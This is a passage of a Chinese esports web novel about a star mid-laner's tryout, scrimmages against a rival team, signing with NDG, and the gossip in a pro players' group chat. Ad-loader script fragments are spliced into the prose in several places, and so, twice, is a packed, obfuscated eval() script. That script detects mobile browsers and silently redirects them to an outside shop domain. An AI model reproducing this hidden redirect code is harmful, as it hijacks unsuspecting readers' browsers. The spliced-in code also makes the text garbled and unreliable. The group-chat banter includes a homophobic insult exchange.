奚月礼也认出了他,“奇奇?” “天呐,你还知道我名字。是的没错,我就叫奇奇!姓奇名奇!”说着换了姓的人在大厅一冲而过,“握个手握个手!” “哈哈,来。”奚月礼没伸手,见他冲过来的架势不像能刹住车,直接展开手臂。 见面不到十秒,两个社交□□就抱了一个。 旁边徐锐之刚把大门关好,一回头,NDG除社交外一无是处的辅助已经和人聊上了。 汪奇:“哎哟,你比我高好多。” 奚月礼记得他比自己小三个月,比了比他的脑袋,“你还在长身体。” 汪奇凑近他,越看越惊奇:“你怎么还有酒窝啊?” 奚月礼递给他半张脸,“给你摸摸。” “不行不行,我刚吃了薯片没洗手,等我洗手再摸。”汪奇捂住心口,“我昨天做梦,没梦到我们这么一见如故啊!” “哈哈,我还去你梦里串门了?” “是啊,没梦出你十分之一的帅气!我的梦还是不够全面,你怎么这么好闻?” “你也很好闻,薯片是烧烤味的?” “哈哈你鼻子好灵。”汪奇又闻了闻,“真的很好闻,你用的沐浴露什么味啊?” 就在汪奇自问自答“好像有点哈密瓜味”时,徐锐之把帽子往墙上一挂,不耐打断:“我看你像个哈密瓜,脑瓜欠拧的瓜。” 一个大男人在这叽叽歪歪又抱又闻还问沐浴露,没给他脑瓜拧下来真算新人客气了,他用下巴示意汪奇赶紧让路,“还堵门口?狗鼻子闻得到自己要被屁话腌入味了吗?” 这实在是NDG太熟悉的日常——随时可能会触发的一顿队霸攻击,触发条件包括但不限于喘个气。 但是今天,这里有个还不懂喘气在NDG也能是罪过的新人,于是嘲讽话音刚落,众人就见新人刚要回话的嘴闭上,眼睛似乎都有些睁大。 徐锐之迈步的脚顿停。 队长那动不动就走火的嘴啊! 汪奇生怕他初来乍到就发现NDG有霸凌,赶紧哈哈笑着打圆场:“习惯一下,不怕不怕哈,我们队长平时跟熟人打招呼的方式就这样,幽默吧?特别吧?” 奚月礼去看徐锐之,只看到一个同时避开视线的侧脸,这一路他已经发现,NDG队长实在很不喜欢跟人对视。 他跟着笑了:“好特别。” “……” 徐锐之在殴打汪奇和追骂汪奇之间没能立马做出选择,正烦着呢,明洋和670已经走过来了。 几个人互相介绍了一通,逐一加上好友,全方位展示了NDG这个战队除了队长的幽默和特别,还有团结、友善、文明、礼仪等美好品质。 天气还没入秋,太阳依旧很晒,几句话之间,被喷泉淋过的头发衣服差不多干了,没等队长再度发号施令,NDG三人直接领人去了训练室。 你一句我一句向新人介绍完室内设备、桌子上的招财猫、墙上名为“大K”的鹦鹉,正准备隆重推出Q宝,教练经理等人便出现在了训练室门口。 “来了啊。” V哥笑得见牙不见眼,一连说了三声好啊。 训练赛是今天的重点。 因为约见太过临时,经理又怕夜长梦多,不想往后推时间,NDG教练组来不及约外面的战队,原本打算在青训挑几个人,把首发打散了来场三局两胜的BO3。 但V哥招了招手,让他们起身去隔壁的模拟赛场练习室。 “正好,刚刚收到TB消息,下周的训练赛他们临时有活动,想改期到今天。” 战队约训练赛也有鄙视链。 TB这赛季积分排名第三,常年处在CPL第一梯队,位于鄙视链的顶端,平时基本只和积分前五的那几家战队约,或者跟韩区欧区打打外战,毕竟没人想给中下游的战队支教。 NDG成绩一年比一年不起眼,和TB约一场要排两个月,所以就算两家战队私交还不错,临时改期也是对面一句话的事。 “不是吧阿sir,又改时间。” 汪奇下意识哀嚎,嚎完转头一看旁边的人,立马收起抱怨嘴脸,嘿嘿两声:“还好我们今天人是全的。” 他想到昨天会上的资料就是从TB传来的,“你是不是也认识TB那些人啊?” 奚月礼手持一杯饮料,跟着他们去隔壁,“认识几个。” PG和TB有个十几人的小群,第一次打完训练赛他就被拉了进去,时不时会因为群里对他的@点开看看,日常消息都是99+,几个活跃分子想不熟都难。 汪奇没有跟他聊太多TB的话题,毕竟会上已经说了,TB也对他包藏祸心。 但给敌军穿个小鞋还是免不了的:“别看这战队表面风光,对我们想改期就改期的,实际上连个单间宿舍都住不起。” 他抬头凑过来讲悄悄话,奚月礼也低头凑过去:“这你都知道?” “上次跟他们打线下训练赛,听他们吵架,吵半夜那地震一样的打呼声到底是谁的,吵半天也没吵出个结果。” 奚月礼笑了笑,出于对熟人尊严的照顾,没有跟他分享这个八卦:是射手Boomer的。 “就这里。” V哥把门打开,模拟赛场的灯光亮起。 各大战队的模拟赛场大同小异:舞台,大屏,战队赞助方的电脑外设和电竞桌椅。 一排五个人,从左至右分别是上单、打野、中单、辅助、射手。 奚月礼左手边是徐锐之,右手边是汪奇。 汪奇坐下来仍在不停搭话:“外设还习惯吗?” 奚月礼:“挺好。” “要鼠标手托吗?” “不用哦。” “椅子是不是矮了啊?腿搁得下不?” “借你的地搁一搁。” 徐锐之打断两人:“站一站。” 汪奇噌一下就站了起来。 徐锐之嫌弃:“没说你。”他依旧看着屏幕,正在登自己的帐号,“椅子高度不合适影响手臂,你站一站,我调一下。” 奚月礼才反应过来是让自己站一站。 脑子里已经有了个画面,对局开始,队长一句不指名不道姓的“上去开团”,中上辅三个开团手砰地撞一起。 想着这个画面就笑了,不由喊了声左边的人:“锐之哥。” 徐锐之这才转过来小半张脸。 “月礼,或者小礼,你喜欢哪个?” 整个脸都转了过来,“……什么?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“哪个都行,可以叫我名字吗?”奚月礼登陆着账号,想象了一下他那种“特别”的打招呼方式配上自己大名,“嗯……最好不要连名带姓。” 说着他输入完密码,敲下回车,站了起来。 徐锐之一时没动作的功夫,汪奇已经眼疾手快调好座椅,调完看到他的屏幕,“月礼登的是大号啊,赶紧加一下好友。” 用大号加完四人好友,Lilymoon被带有NDG队标的Woof一秒拉进队伍。 每个人都带好耳麦,准备开局了,左边打野位却突然来了一句:“比赛前不要开玩笑。” 队伍麦里很安静。 徐锐之说完,才发现刚刚的话题已经过去足足一分钟,周遭没一个应声。 这一句也太脑瘫了。 五秒后,汪奇:“啊?队长你在说谁?” 脑瘫变成了别人,“说你呢,闭嘴。” 汪奇在新队友旁边努力挺直脊背:“哈哈队长,又幽默了。” 五人进入BP界面,V哥也在旁呵呵笑不停,不忘朝专心调整着键盘设置的奚月礼温和道:“他们偶尔会有点吵,不要被影响到。” 因为是新人的训练赛,教练和领队只在旁边观战,不参与BP和指导。 V哥一向走的是鼓励风格,对面又是夏季赛季军,积分拉了NDG一大截,生怕新人有压力,又加了一句:“你个人的试训结果不看这几把训练赛的输赢,放轻松,正常发挥就好。” 试训的新人位处一楼,众人都等着一楼预选英雄。 奚月礼鼠标在全亮的英雄池里滑了滑,感到右侧朝这频频张望,他往那边歪去一点肩膀,“奇奇想看中路玩什么?” “我?问我?”汪奇眼睛一亮,立马举手点单,点自己的梦中之单,“厄莎!” 于是奚月礼一选了厄莎。 这样一个团队型中单跟什么阵容都适配。 明洋:“感觉我可以来把织女,厄莎配织女,链子配梭子,无敌。” 670:“我拿仙英。” 四人都预选完毕,五个Ban位也已经进行到第四个,半晌没等到五楼打野BP英雄,两端的人都去看徐锐之。 徐锐之放下喝水的杯子,一只手扶了扶麦,松了松头戴式耳机,好几个动作之后,突然道:“月礼。” 声音不是很清楚,奚月礼调整耳机音量,“嗯?” 游戏界面上Ritz的英雄栏开始滚动,由慢到快,COTS整整28个打野英雄滚过一遍,徐锐之道:“有什么建议。” 原来他也是英雄海。 奚月礼瞧见了那些英雄滚动间的熟练度和胜率,刚想赞一句,最边上的明洋率先莫名其妙:“中路厄莎的话,随便哪个野核都ok吧,建议?队长你要什么建议?” 最后一Ban,徐锐之把明洋最菜也最爱玩的织女Ban了。 明洋:“……有没有人管管啊!” 没有人管,唯一有点话语权的V哥已经离开,去门外大屏前跟其他人一起观战了。 BP完毕,游戏进入加载界面。 界面上对阵双方十人,九人都带着战队图标。 中间一个不带图标的“Lilymoon”格外显眼,不仅NDG能看到,TB也能看到。 所以刚一进去,各个英雄的台词还没落地,对面的消息已经亮起。 第一条消息来自连表情包都没发的派宝。 [所有人][Pie:?] 第二条消息来自TB辅助。 [所有人][QQBear:!] 紧接着TB射手Boomer来到线上,一秒之内,朝对面两人亮了三把刀。 [所有人][Boomer:天杀的NDG!你们谁把礼礼月的号盗了!?] 17.017 伴随着地图对话框里一连串表情牌——对面打野三个[天狼心碎.jpg]、己方中单一个[天鹤wink.jpg],NDG众人隔着耳麦都能听到室内有微信提示音响了起来。 响了几秒,中单桌上的手机开始震动,提示音直接变成了通话来电。 四双眼睛齐齐瞥去了那只手机。 因为靠得近,其中两双能看见语音来电显示——好大一个Pie。 汪奇只知道自家中单和TB那些首发认识,不知道他们熟到什么程度,见他把通话划掉,似乎回了一个消息就开了免打扰,义正言辞道:“干什么干什么?训练赛呢!发什么消息打什么电话?” 同时在局内打字。 [所有人][Woof:人在NDG,住的是单间,全员不打呼!] 明洋紧跟脚步。 [所有人][Sheep:人在NDG,盆友圈等等发合照,记得点赞哈。] 一边向窗外举手,让教练赶紧管管对面:“告他们一个违规手段扰乱赛场啊。” 大屏前的教练组也能看到地图对话。 没等V哥跟对面教练沟通,托托的手机率先响起,意料之中的TB经理。 两个战队经理以亲切的问候作为开头,短短几句后,那头语气就激烈了起来。 TB经理:“不要脸!我怎么就把资料给了你!” 托托:“那怎么办?还你一面好人好事锦旗?” 互相挂断了电话,就此宣布战队友谊暂时破裂。 旁边V哥听了全程,哈哈笑道:“TB是不是以为没有竞争对手,招人十拿九稳了?” 托托:“是没把NDG当竞争对手。” 有点扎心,V哥笑到一半就停了。 这句话同样也可以用在赛场上,屏幕对局已经开始,领队铭哥道:“这阵容选的,对面那些崽子也没把NDG放在眼里啊。” TB几个明星选手的英雄池是公开资料,NDG教练组知道这局他们都没拿自己的常用,射辅更是选了两个平时不会出现在赛场的整活英雄。 然而这一把对面想整什么活并不是重点。 屏幕视角在中路,厄莎流畅的补刀让众人的注意力很快集中在画面。 COTS的一系列赛事之所以能拥有现象级热度,很大一个原因是它设计之初就考虑了其他moba类游戏不曾考虑的一点:观众的代入感与观赏感受。 全图视角为主屏,观战视角能看到小屏固定的3D人视,拉满的美术精度满足了赛事的观赏性。 哪怕是外行,也能把人视画面当成动画电影看个热闹。 中路一波兵线和换血结束,第一个出声的是运营组过来凑热闹的外行。 “瞧我们中单这几步路走的,对比起来,对面怎么偷感那么重?” “对面那也是正常的走位试探。”V哥解说,“这边是完全知道自己下一个平A什么时候放,下一步要往哪里走,脑子里有成算,操作就不慌。” “简单来说就是自信——他基本功很扎实。” 又看了两分钟,才有人想到要问:“对面中路是谁?” “ID没见过,玩的还是莉莉丝——不是他们首发吧?” “TB青训的一个苗子,是个新人。”很快有人看着平板报资料,“之前也是国服榜上有名的路人王,常用是莉莉丝、桑桑、天鹤……英雄池挺猛。” 仔细看了看资料,语气不乏赞叹:“哦哟,还没成年,已经是去年青训联赛的冠军中单了,不少俱乐部的挖角名单里都有他,有些出价比首发选手都高。” “所以说,这些头部战队真的很不要脸啊,成天吃着碗里,看着锅里,都已经有了这种程度的新人——” 话没说完,画面里莉莉丝一通令人目不暇接的连招,换来厄莎一个预判走位。 锁链几下拉扯间,对面中单血条见底,眨眼就成了地上的一具尸体。 “……新人,呃,新人还需要再练练哈。” 教练组切出了击杀回放,屏幕前一时没有话声。 中路的T0英雄一只手可数,其中[满月信使·莉莉丝]更是T0里非Ban必选的首位。英雄出来之初,莉莉丝就因其复杂的技能设计和独特的机制,被玩家称为COTS开发组那些顶级码农的炫技之作。 随着英雄的操作上限被各家天才选手一次次开发和刷新,[满月信使·莉莉丝]更是成为了一个衡量中单选手天赋与灵性的指标。 如今赛场上哪个中单如果说句“不会莉莉丝”,走出门都得低人一等。 然而英雄上限有多高,容错率就有多低。 两分钟被人一血的莉莉丝再无翻身之地,厄莎首杀之后有了经济优势,很快迎来对线第二杀,第三杀。 眼看着对面的满月信使已经被打成残月信使,伴随厄莎的支援,己方各路更是成了中路对线优势的延续。 “这个厄莎……”众人的啧啧声里,V哥欣慰评价,“这么一看,我们Ritz之前的4杠8也没那么丑陋嘛。” 透过玻璃窗,能看见他们的辅助在里面表情丰富,嘴巴比指挥还能唠,屁股下的电竞椅像是通了电。 而他旁边的中单靠着椅背,最大的动作是端起桌上的奶茶咕噜了两口。 领队朝V哥嘀咕:“怎么回事?他的奶茶看起来比你的枸杞茶还养生的样子?” V哥闻言,也端起茶杯喝了一口,凭借双倍的年龄和双倍的体重喝出了和自家中单同样的从容不迫。 “都找个地坐坐吧,这把悬念不大。” 运营组的人扒着窗口:“坐不住啊!好急,什么时候能带新人去影棚拍宣传照?” “我知道你急,但是现在赛训组的人比你更急。”托托道,“当务之急是先把合同签了,人到手了——官宣得等新赛季之前,宿舍和定制外设倒是可以先准备。” 看着屏幕里中单切出团队面板,又说:“还有就是现在的三把训练赛,这四个也别拉跨了,至少在未来队友前有点高光画面。” 教练组开始轮流切动其他人的视角。 “高光还是有的——这把双方都很激进啊,没有运营,全是打架,这群上头崽。” “他们本来就不太会用脑子,也就打架的时候谁也不虚,这是进入舒适区了。” “小六今天还是稍微用了点脑子的,很谨慎,这么多波团战都站到了最后,居然只死了3次,表扬。” “明洋真是顺风就容易飘,十个动作五个都在给对面发嘲讽表情牌,但凡把这手速用点在——” 说话间屏幕里中上两人遭遇敌方四人,厄莎控制起手,上单秒跟伤害,技能衔接间不见任何无效操作,打了波漂亮的二换四。 “——好配合啊!NDG终于有中上联动的画面了,默契来得很快嘛。” 视角又切到打野。 徐锐之玩得仍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旧是非Ban必选的天狼,此刻正在Pie的野区洗劫,所过之处不留一个树根,劫完钱财也没离开。 迎着亮起的视野,径直走去了Pie的脸上。 “抓到了,也控到了!热派马上凉派!” “——哎呦,可惜!Pie还有闪,对面也来人了。” 敌方打野死里逃生,观战能看到自家打野的屏幕开始火冒三丈,一秒内画面切了七八下,又是英雄面板又是地图各处视角。 深知自家打野德行的教练组下意识捏了口气:“稳住,天狼现在的人头赏金整整1000块,这波可不能追啊。” 火冒三丈的切屏来到中路,厄莎回城的画面一闪而过。 视角回到野区,切屏停下。 天狼没有追。 然后就见野区里逃生的派宝手上不停,边跑边在头顶秀出一个表情牌。 [天狼心碎.jpg]。 刚熄下去的三丈火秒变三百丈——闪现一交,天狼掉头就窜了出去! V哥:“哎,又去追了。” “杀是杀了,用1000块换了600块,怎么比夏季赛还昏头呢,批评。” 整把游戏除了打野的一波昏头操作,辅助介于“隐形”和“不添乱”之间的保守走位,NDG四人都可圈可点,全神贯注间几乎没有浪费每一分钟的优势。 看得V哥不由感叹:“要是正式赛场上也能有这种专注度就好了。” TB从开局嘻嘻哈哈,到后面默不作声。 42分钟,以32-27的人头比被推掉水晶。 逆风来源于中路的绝对劣势,也源于这把他们开局用脚选出来的破烂阵容。 所以第二把,TB五人没有浪费一个Ban位,也没有敷衍一个Pick,直接掏出了称得上“CPL决赛阵容”的体系英雄。 而奚月礼拿了[满月信使·莉莉丝]。 没别的原因,因为NDG是可以率先选英雄的蓝方,莉莉丝又没在ban位上。 游戏开局。 从23秒就出现的中路一血开始,除了系统播报,地图双方鸦雀无声。 十五分钟一到。 “CPL决赛阵容”齐齐上票,TB在教练的指挥下点了投降。 窗外,还在看中路击杀回放的V哥同时收到了微信消息。 [TB教练:不打了。] 后面的消息隔了几分钟才发来。 [TB教练:[图片]看到桌上这堆纸巾了吗?] [TB教练:左边是我们打野哭的,右边是我们中单哭的。] [TB教练:这中单小孩是我们现在的独苗了,再打要带他去心理师那里约疗程了。] 消息开始义愤填膺。 [TB教练:人还没上过赛场呢!两把训练赛就想给他来道新秀墙?] [TB教练:没这么狠的。] 这话说的,V哥不爱听,立马拍了室内的一张照片发过去。 [Vicky:[图片]看到我们中单旁边的两张脸了吗?] [Vicky:右边是我们的辅助在笑,左边是我们的打野在笑。] [Vicky:当然我也在笑,哈哈。] [Vicky:你记性真是越来越差了,提醒一下,虽然临时也没放点通知,就给大家打了把莉莉丝教学局。] [Vicky:但我们中单也是一个新人哈。] 18.018 上次这么快结束的一局训练赛是什么时候? 三月前和DTG,对局进行到16分钟,DTG基地因为雷雨停电了。 事后打野Again截了个图,把人头20比3血虐NDG的战绩发到职业群里,装逼道:“哎,训练赛不能太残忍,不然基地会遭雷劈的。” 对面15分钟点投还是头一遭。 会议室外四人各自站着,走廊一阵寂静,徐锐之按了按通宵后一整天都没松弛下来的太阳穴。 “辅助为什么不说话?” 辅助脑子里还在重播刚刚的两把对局,语言功能暂时不太灵敏。 “射手为什么不说话?” 射手:“……上单为什么不说话?” 上单:“这两把游戏只有中单才配说话。” 中单在哪里? 众人抬头去看会议室大门,对局刚一结束,中单就被经理带进会议室谈入队的事了。 时间实在太久——虽然各自都有签约入队的经验,知道谈话都是长长一段,合同都是厚厚一沓,明白这么久是正常的,但汪奇还是忍不住去窗口频频探头,被里面的法务挥手赶走好几次。 “托托姐肯定会把人拿下的吧?” 汪奇改站为蹲,蹲了会儿又站起来,来来回回在门口走动。 “这两把游戏我们也没拉跨吧?他会签的,是吧?” “肯定签。”明洋没他那么紧张,觉得入队的事情已经稳了,正在手机上看附近餐馆,只等新队友出来,带他去聚餐。 “我和他打了好几拨完b呢,两个人就差共用一个脑子了,中上默契已经爆表,正常情况是这样的——他先和NDG签约,再和我结拜,十年后我们的小孩互相管对方叫义父。” 空气因他的大言不惭又安静两秒。 670没被上单的自信发言带偏,回忆着对局,确保自己没拖后腿:“第二把太快了,但第一把AD输出有40%,中单开团我每波都跟上了。” 汪奇也赶紧找起自己的局内高光:“我没送!一次都没!” 他点点头:“我们五个真厉害。” 接着翻起手机里的战绩截图,顺便帮一直沉默的打野也发声一波。 “第二把队长这巨蟹也选得很灵性,开局就给了莉莉丝一蓝,以后还有谁敢诽谤我们NDG打野‘天狼一Ban直接退役’?我立马把这个巨蟹甩他脸上。” [沼泽巨蟹·菲力]是标准的蓝领打野,通常只会在中射双C都是大核时选出,前期需要让出野区经济来优先双C发育,遇上莉莉丝这种吞金兽中核,玩法主打一个“苦自己不能苦队友”。 说着汪奇仔细看了看这把巨蟹的助攻和承伤。 “没想到啊队长,这种打野你居然玩得也不错?之前都没见你拿过。” 徐锐之:“凡事先问自己配不配。” 汪奇一听,很有道理:不是这种程度的莉莉丝,哪配队友掏出四个工具人? 口头复盘完两把训练赛,结论是四人都没掉链子,汪奇心里稍微镇定了点,他见徐锐之靠墙站着半天没动,想到他昨晚好像是通宵训练了。 “要不队长你先去休息,我们等着就行了,晚点要是出去吃饭再喊你。” 徐锐之没理他。 低头看了眼手里端着的一杯奶茶,那是中单进屋前见没有搁饮料的地方,顺手往他这递来的。 掏出手机再看了眼时间,把重心从左脚换到右脚,他对门口来来回回的人影烦道:“别晃了。” 汪奇不晃了,耳朵却还贴着门,鬼鬼祟祟,看着让人更烦了。 徐锐之嫌弃了一眼,脚步直接来到窗口。 会议室灯光很亮,经理、教练、法务,里面每个人都带着笑,事情看起来进行得很顺利,而众人目光处的那人背对窗户,肩膀靠着椅背,手上一支签字笔,后脑勺的头发有点乱。 是被淋湿后又自然风干的那种乱。 徐锐之摸了摸同款后脑勺,后知后觉浑身的不适:T恤发皱,下午被外面不干不净的水淋了一通,都没第一时间去洗澡。 怎么就跟人走进了喷泉里? 通宵的后劲越来越大,已经感到反应有点迟钝,脑子却又很亢奋。 高强度的对局需要高度集中的精神,往往会带来一连串高度紧张的生理反应:脸部每一块肌肉都很僵硬,喉咙发干,手指发紧,浑身处处不自在,连头皮都有些发麻。 全身上下好像一整天都在为这场训练赛做准备,到现在都没消停。 现在只需新人入队,签完这几个字,在NDG头顶悬了一整个赛季的中单问题就会落下。 徐锐之捏了捏后脖子,各种念头在这关头开始不受控地乱窜,从体育场的四面台窜到刚刚的模拟赛场,从夏季赛的八强战窜到这两把训练赛,最后停在屋里那个后脑勺,脑子里冒出了那个后脑勺进屋前的语气。 然后他用发酸的眼睛盯起了手里这杯奶茶,想:这也太顺口了——锐之哥,一下午都快十几遍了。 四个人的走廊,射辅两个在那紧张兮兮,还有一个杵在窗口,用布满不明思索的背影让射辅越来越紧张。 实在太无聊了,明洋点开COTS职业群,试图第一时间看看TB会不会有什么败犬发言。 TB的发言没看到,倒是看到了DTG陈再突然发了张双排战绩。 [Again:[图片]] [Again:@Ritz 半夜偷我家?] [Again:不过怎么一把射手就下了啊?这什么情况?展开讲讲。] 明洋点开那张图,一看,昨晚HelloLily和Ritz的传奇双排。 这都什么年头的图了?他呵了一声,立马把手机里新鲜出炉的两张训练赛发了过去,生怕陈再眼睛太小看不见,又附带一张顶着“Lilymoon”id的满月信使超神截图。 [Sheep:[图片][图片][图片]] [Sheep:@Again,你醒啦,我的再?] [Again:?] 群里的刷屏逐渐快了起来。 职业群一百多号人,都是CPL现役国产选手。 各大战队凑在一个群,左一个冤家右一个死敌,群友们平时说话都不太好听,群里主旋律是冷嘲热讽,伴奏是造谣和吹牛。 所以COTS职业联盟的主席作为群主,设置了八个管理员,分别是每年战队积分排名前八的战队队长,用来控制一下群内开团和混战的次数。 三张战绩图一出,第一个冒头的是图里的当事人TB。 [QQbear:@Sheep私信转你三块钱,撤回。] [系统:Boomer已退出群聊。] [Pie:抢了人还要把我们游街?] [Pie:你在外面这么欺负我@Sheep,礼礼哥哥知道吗?[大哭]] 没过几秒,其他人在吹牛刷屏的间隙也认出了图上的中单ID,纷纷跟起了问号。 [中单是本人?] [别告诉我这是lilymoon在试训?] [那个脚本成精的天梯第一?] [不是说这人在PG吗?NDG集资租借了?] [NDG怎么勾搭上的?] 两者的交集很快被翻出,毕竟这是个COTS八卦互助群,好事不出门,黑料笑料天天有热心人士帮忙人工置顶。 [链接分享《前方高能,你没见过的Ritz人头锦集:传奇单排八连送》] [链接分享《电竞天狼星?呵呵,天梯第一的玩具罢了》] [链接分享《4-8-0,怎么评价NDG队长这把传奇低分局的发挥?》] …… [NDG怎么勾搭上的?] [是因为这个4-8吗?] 明洋以为自己的三张图是和Again的solo,没想到炸出了这么多群友,好像还伤及友军了。 他瞅了眼那边的队长,不再加入群聊,隔着屏幕看他的solo对象开始破防。 [Again:这什么意思?] [Again:这什么意思?] [Again:NDG话最多的出来解释一下!@Woof] [7yuan:哪里来的对局截图?] [7yuan:都什么货色?怎么就跟我宝双排五排上了?]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930971|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [Again:@7yuan这TM又是谁?] 热心群友AU战队队长Teatea帮忙解说。 [Teatea:PG今天官宣的新打野,青训血统,毛色黑中带黄,品相优良,性情不明。] [Teatea:[图片]长这样] [YesGay:弟弟挺清秀啊,弟弟成年了吗?] [7yuan:男同滚。] [YesGay:滚尼玛男同,你全家男同。] [Teatea:新人别误会@7yuan,这是JY中单,本名郭安友,ID是首字母全拼。] [Teatea:不是男同,只是文盲。] [7yuan:文盲男同滚。] 这头祁元满眼只有几张战绩截图,仔细看了看,看清了训练赛的队友,还有战绩上的日期,就在一小时前。 [7yuan:???] [7yuan:@Sheep?月礼在你们那?他去了NDG?这么大的事居然没告诉我?!] [7yuan:一直不回我消息!打电话也不接!] [7yuan:他是自愿去NDG的吗!?] [7yuan:NDG!说话!] …… [7yuan:他是不是还在游戏里所以才没看到我的消息?] [7yuan:他平时一般都秒回的。] …… [Teatea:弟,这里是COTS职业群,少男心事出门左转告白墙哈。] …… 手机在训练赛的时候就开了免打扰,一直没调回来。 奚月礼数着屏幕上不停跳动的消息,耳朵在倾听对面跟他一条条讲解合同条款。 COTS职业联盟有健全且等级分明的薪资体系,各家战队都遵循着标准,不同的只是奖惩和分成的条款。 NDG无疑给出了很有诚意的条件,相似的合同他在PG时就了解过一遍,都算熟悉。 熟悉的内容听太久了,难免有点走神。 背后的视线实在明显,一个人影挡在窗口,室内都得暗一片,但对面的经理教练只是朝窗口看了一眼,没有挥手赶人。 于是奚月礼猜测窗口站的是徐锐之。 V哥目光从窗口收回,整个签约过程他都在带着压不下的嘴角旁观,此刻说出了进屋以来的第一句话:“以后不管是生活上还是赛场上,如果我和领队不在,有问题都可以找队长。” 他呵呵笑道:“NDG队长很期待你这个新队友。” 感觉到了,奚月礼也笑了笑。 虽然NDG队长“不拿正眼看人”的风评在外,但他猜这会儿背后那道视线应该是个正眼,两把训练赛都很顺利,走前还能去摸一把柯基脑袋,总得来说是蛮喜欢NDG的一天。 还差最后一个签名,奚月礼从纸页里抬起头:“那NDG教练期待我这个新队员吗?” “哎哟这什么话!”V哥才发现自己太忘我了,当教练的居然全程都没什么鼓励话,“当然当然,当然期待啊。” 奚月礼就在教练的期待声里签完了最后一个字。 接着他搁下笔,转过身,拿刚签好的一页纸朝窗口的人晃了晃——以后该叫队长了。 徐锐之的眼睛跟着晃了晃。 然后他被满手湿哒哒一下子拉回神,低头一看:操,什么奶茶杯一捏就瘪。 赶紧提着杯子去卫生间。 洗完手走出门,那头也响起了推门声,会议室里的人都出来了。 几句交谈后,汪奇第一个欢呼起来。 …… [7yuan:半小时过去了!] [7yuan:他怎么还不理我?] [7yuan:是手机又没电了吗?随便谁都行,赶紧帮我给他送根充电线@] [系统:7yuan已被管理员Ritz禁言。] [系统:Ritz邀请了Lilymoon进群] [Ritz:@Lilymoon,新中单,NDG的。] [Ritz:欢迎一下。] 19.019 一通电话,祁元以控诉权限狗NDG队长为开头,间或质问两句前队友兼舍友的手机电量,大声嚷嚷了一番他没能第一时间知道这个消息的愤懑。 语气从骂骂咧咧到逐渐正常,又从正常到安静,最后莫名沮丧。 消息来得顺理成章,又那么突然,他大概是这会儿才开始接受这个事实——原本朝夕相处的队友已经改投他队了。 胡言乱语开始从电话里传出。 “……今天咱俩一起被PG官宣,两个月后S11春季赛开赛,积分赛我们打遍CPL无敌手,十九连胜——就算没有十九连胜,肯定也是积分第一,淘汰赛再稳稳拿下冠军,捧回职业生涯的第一座满月杯。” “PG双子星横空出世,中野组合所向披靡……” 他低落下来。 “……剧情原本是这样的。” 在失落里沉浸了几秒,祁元:“你怎么不说话?” 傍晚的园区很安静,奚月礼正在去咖啡厅找余历的路上。 电话通着,手机里还有其他消息不停传来,群里的私人的,但他暂时还没看。 签完约,确认好入队时间和入队事项,跟Q宝正式认识了一下,撸了两把毛脑袋他就和NDG众说了拜拜。 之前没说话,是因为电话那头骂骂咧咧的时候,他还没走远,新队友的四只耳朵都在,四双眼睛存在感实在太强,他调了手机最小音量,都没怎么听见前面的内容。 现在他头戴一个带着NDG队标的帽子,单肩背着一个NDG的外设包,包里塞满了腕带徽章零食水果等NDG周边,慢腾腾走过无人的林荫道,问:“元元最近读了什么书?” “啊?” “横空出世,所向披靡——成语怎么用得这么到位?” “……” 低落没了,只剩不服了:“我有这么文盲吗?我他妈还知道NDG狗仗人势!小人得志!” 说着又开始咬牙切齿:“最近我甚至开始补习英文了,单词已经背到B开头了!Bad!Bad!知道吗?说的就是NDG那个打野!” 奚月礼笑了半天才道:“要连我一起讨厌吗?”他抬了抬帽檐,帽檐底下是一个NDG队标刺绣,“毕竟我已经和NDG蛇鼠一窝、狼狈为奸了。” “……我没说你。”祁元的语气像过山车,刚上又落,“……怎么就去了NDG呢?” 然而实际上,他知道自己对NDG也没什么意见,更想问的是“怎么就去了别的队呢”。 “我只是……好不习惯啊,三天前你还跟我住一起,白天一起训练,晚上一起看世界赛。” 伴随今天的打野官宣,PG新赛季的阵容已全部确定,床位要搬了,宿舍要换了,连食堂菜单都因为韩区大佬队友的到来换了一轮。 整个队伍里,打野成了最新的那个。 “……好早开始就在等这一天,但这天好像跟我想的不太一样。” 祁元站在行李箱前,没忍住吸了吸鼻子。 “我们以后就不在一起了。” 走出林荫道,咖啡馆近在眼前,奚月礼已经看到了草坪边久等的背影。 他安静等电话里的声音说完,把手机贴向耳边:“还没恭喜元元今天成为PG首发了。” 祁元兴致不高:“昂。” “NDG和PG的比赛大概会在B市体育馆?” “应该吧。” “按照上赛季的积分,PG有权优先选择红蓝方,不管队友怎样,你会首ban或首选莉莉丝?” 祁元:“不然呢,等你拿到莉莉丝把我当小兵刷吗?” “这不是还在一起吗?” “哪里在一起了?” “还在同一个游戏里。” 草坪边的人影从椅子上站起,奚月礼在余历转头时脚步一转,避进树荫里,准备顺手测测那位宅男的视力还是不是5.0。 “就是玩法要变一变,以前你光明正大给我送蓝,以后不行了,得偷偷给我送。” “……服了,我都有画面了。”祁元赶紧敲敲脑袋敲碎这画面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938537|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“以后野区一碰面,我还真怕自己顺手就把蓝给你打了。” 